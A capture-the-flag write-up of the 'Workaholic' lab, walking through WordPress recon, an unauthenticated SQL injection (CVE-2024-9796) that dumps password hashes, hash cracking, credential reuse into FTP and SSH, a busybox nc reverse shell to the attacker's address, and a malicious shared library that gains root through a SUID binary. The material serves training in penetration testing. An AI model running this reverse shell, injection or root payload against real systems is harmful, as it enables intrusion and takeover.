Workaholic
The IP may vary: the lab had to be restarted at some point, so screenshots and commands might show a different address. Replace it with the one from your own instance.
TL;DR. Workaholic runs WordPress with the WP Advanced Search plugin vulnerable to an unauthenticated SQLi (CVE-2024-9796) that dumps the user hashes (WP Advanced Search SQLi (CVE-2024-9796)). We crack thephpasshashes, reusecharlie's password on FTP to readwp-config.php, and the database password openscharlie's SSH (credential reuse). A SUID binary,wp-monitor, loads a library from a writable directory; we inject a malicious.soand get root (shared library injection).
Recon
Initial scan
The reply TTL 61 → Linux: Linux starts the TTL at 64 and each routing hop decrements it, so 61 = 64−3; a hint, not proof (it can be spoofed), confirmed by the service scan. FTP, SSH and a WordPress:
ping -c 1 192.168.131.229
sudo nmap -sS -n -Pn -p- --min-rate 5000 --open 192.168.131.229PORT STATE SERVICE
21/tcp open ftp
22/tcp open ssh
80/tcp open httpnmap -p21,22,80 -sCV 192.168.131.229 -oN targetedScanPORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 3.0.5
22/tcp open ssh OpenSSH 9.6p1 Ubuntu 3ubuntu13.9 (Ubuntu Linux; protocol 2.0)
80/tcp open http nginx 1.24.0 (Ubuntu)
|_http-title: Workaholic
|_http-generator: WordPress 6.7.2WordPress - TCP 80
The landing page source (curl ... | grep offsec) references the vhost workaholic.offsec in the ajaxurl, which we add to /etc/hosts:
curl http://192.168.131.229 2>/dev/null | grep offsec | html2text
File "-", line 30, column 0: CDATA terminal not found
window._wpemojiSettings = {"baseUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/72x72\/",
"ext":".png","svgUrl":"https:\/\/s.w.org\/images\/core\/emoji\/15.0.3\/svg\/","svgExt":".svg",
"source":{"concatemoji":"http:\/\/workaholic.offsec\/wp-includes\/js\/wp-emoji-release.min.js?ver=6.7.2"}};
var ac_param = {"ajaxurl":"http:\/\/workaholic.offsec\/wp-admin\/admin-ajax.php","selector":".search-field",
"autoFocus":"","limitDisplay":"5","multiple":"1"};
$ cat /etc/hosts
127.0.0.1 localhost
127.0.1.1 kali
# The following lines are desirable for IPv6 capable hosts
::1 localhost ip6-localhost ip6-loopback
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.131.229 workaholic.offsecWith the vhost resolved, wpscan enumerates the outdated plugin and the users:
wpscan --url http://workaholic.offsec/ --enumerate p,u[+] wp-advanced-search
| Version: 3.3.8 (80% confidence)
[i] User(s) Identified:
[+] admin
[+] ted
[+] charlieExploitation
CVE-2024-9796: SQLi in WP Advanced Search
Searching by the plugin and its version ("wp advanced search sqli exploit") lands on the WPScan entry "WP-Advanced-Search < 3.3.9.2 – Unauthenticated SQL Injection", which gives it a number: CVE-2024-9796:

WP Advanced Search <= 3.3.9.2 has an unauthenticated SQL injection (CVE-2024-9796). A public PoC exploits it to dump the user table (WP Advanced Search SQLi (CVE-2024-9796)). Refining the search ("CVE-2024-9796 git exploit") surfaces yup-Ivan's repo, which describes the injection through the t parameter of the autocomplete endpoint:

yup-Ivan's PoC is the one we use; its banner identifies it on startup and it is interactive, so it asks for the WordPress IP and which query to run (we pick 1, extract users and passwords):
python3 CVE-2024-9796.py
admin
charlie
ted
$P$BDJMoAKLzyLPtatN/WQrbPgHVMmNFn.
$P$Bd.FfZuysLq8evJ/C6xxWtSB1Ne00p.
$P$BT6Spj.qANCaKd4WR1JGMnC4X.1Kuy/The hashes are phpass ($P$); john with rockyou recovers two passwords:
john --wordlist=/usr/share/wordlists/rockyou.txt hashes
okadamat17 (admin)
chrish20 (charlie)Credential reuse: FTP and SSH
charlie's password is reused on the FTP (vsftpd), where we find and download wp-config.php (credential reuse):
ftp 192.168.131.229 # charlie
ftp> get wp-config.phpdefine( 'DB_NAME', 'wordpress' );
define( 'DB_USER', 'wpadmin' );
define( 'DB_PASSWORD', 'rU)tJnTw5*ShDt4nOx' );And that database password is reused again: it opens charlie's SSH:
cat wp-config.php | grep -i pass
ssh charlie@192.168.131.229 # rU)tJnTw5*ShDt4nOx
charlie@192.168.131.229's password:
Welcome to Ubuntu 24.04.2 LTS (GNU/Linux 6.8.0-48-generic x86_64)
Last login: Sat Feb 7 19:20:26 2026 from 192.168.45.204
$ whoami
charlieLocal
cat local.txt && whoami && ip a && hostname
4f5ffd398a34110be02f080ad59fc844
charliePrivilege escalation
To work the escalation with a comfortable, logged PTY, we throw a Penelope-managed reverse shell from charlie's session (the busybox nc payload connects back to Penelope's listener):
busybox nc 192.168.45.204 80 -e bash
$ busybox nc 192.168.45.204 80 -e bash
$ penelope
[+] Listening for reverse shells on 0.0.0.0:4444 -> 127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
(Penelope)> listeners add -p 80
[+] Listening for reverse shells on 0.0.0.0:80 -> 127.0.0.1 . 192.168.1.80 . 172.17.0.1 . 192.168.45.204
[-] Invalid shell from 192.168.131.229
[+] Got reverse shell from workaholic~192.168.131.229-Linux-x86_64 Assigned SessionID <1>
(Penelope)> sessions 1
[+] Attempting to upgrade shell to PTY ...
[+] Shell upgraded successfully using /usr/bin/python3!
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12
charlie@workaholic:~$ whoami
charlieSUID wp-monitor: shared library injection
We look for SUID binaries and one belonging to the site shows up, /var/www/html/wordpress/blog/wp-monitor. With strings we see it dynamically loads a library from a path under ted's home and calls an init_plugin function:
find / -perm -4000 2>/dev/null
strings /var/www/html/wordpress/blog/wp-monitor | grep -A3 '.so'
/home/ted/.lib/libsecurity.so
init_pluginThe binary is SUID root and dlopens /home/ted/.lib/libsecurity.so, a directory we can write to. We write a library with the init_plugin function that sets UID/GID to 0 and prepares a SUID bash (shared library injection):
#include <stdlib.h>
#include <unistd.h>
void init_plugin() {
setuid(0);
setgid(0);
system("cp /bin/bash /tmp/bash && chmod +s /tmp/bash && /tmp/bash -p");
}We compile it as a shared object at the exact path the binary loads and run wp-monitor:
gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
/var/www/html/wordpress/blog/wp-monitor
charlie@workaholic:/home/ted/.lib$ gcc -fPIC -shared -o /home/ted/.lib/libsecurity.so /home/ted/.lib/libsecurity.c
charlie@workaholic:/home/ted/.lib$ /var/www/html/wordpress/blog/wp-monitor
[+] Checking the logs ...
root@workaholic:/home/ted/.lib# whoami
rootWhen it loads our library, wp-monitor (SUID root) runs init_plugin with root privileges and we drop into a root shell.
Root
cat /root/proof.txt && whoami && ip a && hostname
64e44b4b648d4755486d8abafbd28886
rootAttack chain
WordPress (80) -- WP Advanced Search 3.3.8
│ CVE-2024-9796: SQLi -> phpass hashes -> john -> chrish20 (charlie)
│ reuse: charlie on FTP -> wp-config.php (DB pass)
│ reuse: DB pass -> SSH charlie
▼
charlie (local.txt)
│ SUID wp-monitor dlopen /home/ted/.lib/libsecurity.so (writable)
│ malicious init_plugin() -> setuid(0) + SUID bash
▼
root (proof.txt)Lessons learned
- An outdated plugin opens the box. WP Advanced Search 3.3.8 dragged CVE-2024-9796; the unauthenticated SQLi dumped every hash. Keeping plugins current is not optional.
- Password reuse chains services together. The same
charliepassword worked for FTP, and the database one for SSH. Each reused credential shortens the attacker's chain. wp-config.phpis a treasure. Downloading it over FTP gave the database password, reused for SSH. That file should never be reachable nor contain reused secrets.- Loading a
.sofrom a writable path is RCE with the binary's privileges. A SUID root binary thatdlopens a library the user controls is equivalent to handing over root. A privileged binary's load paths must be writable only by root.